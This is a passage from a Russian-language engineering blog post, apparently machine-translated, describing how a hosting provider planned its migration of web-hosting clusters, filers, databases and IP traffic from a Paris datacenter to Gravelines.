  2. В блочном режиме сценарий миграции берет данные с жесткого диска и побитно передает их на целевой жесткий диск без учета древовидной структуры.

Оба метода позволяют надежно копировать данные, но предполагаемый вариант использования сильно отличается.

В блочном режиме вы можете скопировать только весь диск или раздел. Если в одном разделе находятся данные с нескольких веб-сайтов, только файловый режим позволяет переносить данные веб-сайта индивидуально.

Перемещение данных в файловом режиме происходит очень медленно, если количество файлов для просмотра важно, как это имеет место во многих фреймворках PHP, выполняющих кэширование. Таким образом, у нас был риск, что мы не сможем перенести некоторые сайты.

• Изменение исходного кода — опасная операция, которую мы не позволяем делать, потому что это может сильно повлиять на веб-сайт. Кроме того, это требует исчерпывающего определения всех видов использования баз данных…
• Некоторые наши клиенты не размещают свою зону DNS дома. После этого мы не сможем изменить IP-адрес их веб-сайта без их вмешательства, что требует от нас сохранения этого IP-адреса, если мы хотим достичь хорошего уровня надежности для миграции.

Поэтому мы отклонили этот сценарий. Несмотря на то, что они функционируют для подавляющего большинства веб-сайтов, небольшой процент затронутых сайтов на самом деле представляет собой большое количество веб-сайтов. Надо было их ремонтировать вручную, и наша команда все время проводила бы там.

IP через грузовые автомобили

Интернет основан на IP-протоколе для адресации машин в сети. Это не зависит от физического материала, на котором происходит обмен сообщениями, можно использовать многие: оптические каналы, электрические, беспроводные; даже странствующих голубей, как это описано в юмористическом стандарте, установленном 1 апреля 1990 года!

Эта первоапрельская шутка нас вдохновила, хотя мы не знатоки голубей. В самом деле, даже если задержка (продолжительность путешествия для сообщения из точки A в точку B) важна, пропускная способность (количество отправленной информации / время в пути) потенциально огромна: USB-ключ содержит много данных! При некоторых больших передачах физическое перемещение данных — разумный способ увеличить пропускную способность передачи.

Поэтому мы подумали о варианте просто перенести инфраструктуру из Парижа в Gravelines. У этого есть преимущества:

• Не влияет на веб-сайты. Нам просто нужно снова включить инфраструктуру в другом центре обработки данных и перенаправить туда трафик;
• Это позволяет очень быстро опустошить дата-центр.

Но это также создает некоторые проблемы:

• Как сократить время нарезки сайтов между остановкой машин в Париже, их загрузкой, транспортировкой, разгрузкой и повторным зажиганием? Время отключения будет порядка нескольких дней.
• Что делать в случае аварии в дороге? Падение сервера, ДТП…
• Как убедиться, что данные не изменятся во время транспортировки из-за вибрации грузовика?
• Как интегрировать эту инфраструктуру, не соблюдая стандарты индустриализации, действующие в Gravelines?

Ни один из этих пунктов не был блокирующим, но они ставили интересные задачи. Поэтому мы сохранили этот сценарий, хотя и не в качестве нашего первого выбора из-за физических рисков и длительного периода недоступности веб-сайтов во время работы.

Масштабируемые миграции

Не имея возможности перенести весь центр обработки данных сразу или веб-сайты по отдельности, мы изучаем, как переносить активы нашей инфраструктуры по мере продвижения.

Поэтому мы сделали шаг назад и посмотрели на уровни детализации нашей инфраструктуры, то есть на элементы, которые связывают веб-сайты друг с другом и предотвращают переход от сайта к сайту:

• IP-адреса: мы не контролировали все зоны DNS, мы считали, что IP-адреса сайтов наших клиентов не могут быть изменены. Это означает, что мы должны перенести сразу все веб-сайты, использующие один и тот же IP-адрес.
• Filerz : миграция в файл данных режима на filerz не является возможным из - за большое количество файлов, мы должны выполнить миграцию в блочной режиме и тем самым перенести все клиент в том же filerz одновременно.
• Базы данных: все базы данных на одном веб-сайте должны быть перенесены одновременно, чтобы сайт продолжал работать, а идентификаторы баз данных не должны изменяться. Эти базы данных потенциально могут использоваться двумя разными местоположениями, включая разные кластеры; эти приспособления должны быть перенесены одновременно.

Если мы рассмотрим все эти предположения, необходимо сделать один вывод: чтобы их уважать, мы должны перенести все сайты сразу из-за взаимозависимостей.

Мы были в блокирующей позиции. Чтобы двигаться вперед, необходимо было пересмотреть каждый постулат и рассмотреть решения для преодоления этих проблем.

Устранение зависимостей от баз данных

Одно из самых сложных ограничений — это надежная миграция баз данных вместе с веб-сайтами.

Можем ли мы представить себе 95% надежную миграцию с учетом только баз данных, предоставленных с хостингом (то есть, не считая нетипичных случаев, которые обнаруживаются только путем анализа исходного кода веб-сайтов)?

На бумаге это не сработает, так как это повлияет на нетипичные веб-сайты, поскольку базы данных больше не будут доступны.

Таким образом, нам нужно было поиграть с доступностью базы данных: если нам удастся сохранить доступную базу данных, даже если она не будет перенесена, мы можем удалить это ограничение, и нетипичные случаи продолжат работать.

Это технически возможно, если мы откроем сетевой туннель между нашим центром обработки данных в Gravelines и этим центром в Париже. С помощью этого туннеля веб-сайт, использующий базу данных, на которую нет ссылок на его хостинге, продолжит работу, получая данные в Париже.

Это не идеальное решение: добавление сетевого туннеля означает добавление задержки 10 мс. И на некоторых CMS, выполняющих десятки SQL-запросов последовательно, эта задержка быстро заметна. Но, ограничив этот эффект только базами данных без ссылок, мы могли бы упростить это сильное ограничение. Все сайты продолжат работу. Некоторые сайты могут работать медленно, но для наших обычных случаев веб-хостинга последствия минимальны.

Обход зависимости IP-адреса

За одним IP-адресом скрывается несколько сотен тысяч веб-сайтов. Поэтому миграция всех файлов и баз данных потребует очень важного времени завершения работы.

Однако вопрос можно задать по-другому: IP-адрес обслуживает несколько сайтов, как мы можем распределить входящий трафик с этого IP-адреса в правильный центр обработки данных, на котором размещен нужный веб-сайт? Это проблема балансировки нагрузки, и у нас уже есть балансировщик нагрузки, который адаптируется в соответствии с запрошенным веб-сайтом: предсказатель.

В предикторе можно определить, где веб-сайт действительно должен перенаправлять трафик. Самым простым решением было бы добавление нового предиктора перед нашей инфраструктурой, но объединение балансировок нагрузки в цепочку — не лучшая идея: это делает путь к веб-сайту более сложным и добавляет новый критический элемент в инфраструктуру.

И наконец, ничто не мешает нам использовать балансировку нагрузки Paris или Gravelines для выполнения этого перенаправления трафика.

Мы выбрали предиктор наших новых кластеров Gravelines. Мы добавили список веб-сайтов и их статус: перенесены или нет. Таким образом, для перенесенных сайтов трафик распределяется локально. В противном случае трафик перенаправляется на балансировщик нагрузки кластера в Париже.

Мы знали, как переносить IP-адрес между нашими центрами обработки данных. Таким образом, можно подготовить эти новые предикторы, а затем прозрачным образом перенести IP-адреса всего кластера, не вызывая прерывания работы клиента.

IP-адреса больше не были точкой блокировки. Снижая это ограничение, мы теперь можем переносить клиентов filerz by filerz. Можем ли мы сделать еще лучше?

Перенести filerz как блок

Чтобы добиться большего, нам потребуется декоррелировать клиентов каждого filerz. Как мы могли это сделать?

Перенос всего filerz требует времени. Нам нужно переместить несколько ТБ данных по нашей сети, это может занять десятки часов. Чтобы избежать расщепления мозгов, нам нужно избегать записи в источнике во время копирования.

Но наша команда хранилищ знает, как справиться с таким типичным для них делом. Они начинают с создания первой копии всех данных, не закрывая исходную службу. Как только эта первая копия сделана, последним копиям нужно только синхронизировать различия, записанные с момента создания первой. После нескольких последовательных копий время копирования очень короткое.

В этот момент можно отключить службу на несколько часов ночью, чтобы выполнить миграцию ( filerz и связанные базы данных), не рискуя разделить мозг.

Теперь у нас есть все элементы для реализации нового сценария миграции!

Давай, сделаем это еще раз.

Наш финальный сценарий

После прочтения предыдущих разделов вы, вероятно, уже имеете хорошее представление о том, как мы переносим кластеры. Вот основные шаги:

1 / Строительство нового кластера в Gravelines, соответствующего стандартам этого нового центра обработки данных, но включающего столько же файлов и баз данных, сколько и предыдущий.


2 / Построение сетевого соединения между новым и старым центром обработки данных.


3 / Миграция IP-трафика на новый кластер с перенаправлением в Париж для немигрированных сайтов.


4 / Копирование данных без взлома сайтов.


5 / Ночью: отключение сайтов первого filerz, перенос его данных и связанных баз данных.


6 / Ночью: отключение сайтов, миграция второго filerz и связанных баз данных.


7 / Закрытие исходного кластера.


Даже после миграции всех файлов кластера сетевое соединение с центром обработки данных в Париже необходимо поддерживать до тех пор, пока не будут перенесены все базы данных, в самом конце миграции. Таким образом, эта связь должна быть долговечной и отслеживаться в течение нескольких месяцев.

Этот сценарий был проверен в июле 2018 года. Чтобы он заработал, нам потребовалось 5 месяцев адаптации наших систем, а также несколько холостых повторений на тестовом кластере, специально развернутом для проверки того, что все работает должным образом. На бумаге сценарий выглядел красиво, но нам приходилось решать множество проблем на каждом этапе процесса (мы более подробно рассмотрим технические детали в будущих сообщениях в блоге).

Каждый шаг в этом сценарии предполагал десятки синхронизированных операций между разными командами. Мы должны были организовать очень точное отслеживание наших операций, чтобы все прошло без сучка и задоринки (мы также поговорим об этом в другом посте).

Теперь вы знаете наш процесс миграции. Эта статья, хотя и длинная, необходима для понимания архитектурных решений и сюрпризов, с которыми мы столкнулись во время миграции.

В будущих публикациях мы сосредоточимся на конкретных моментах нашей миграции и технических проблемах, с которыми мы столкнулись.

До скорой встречи для дальнейших приключений!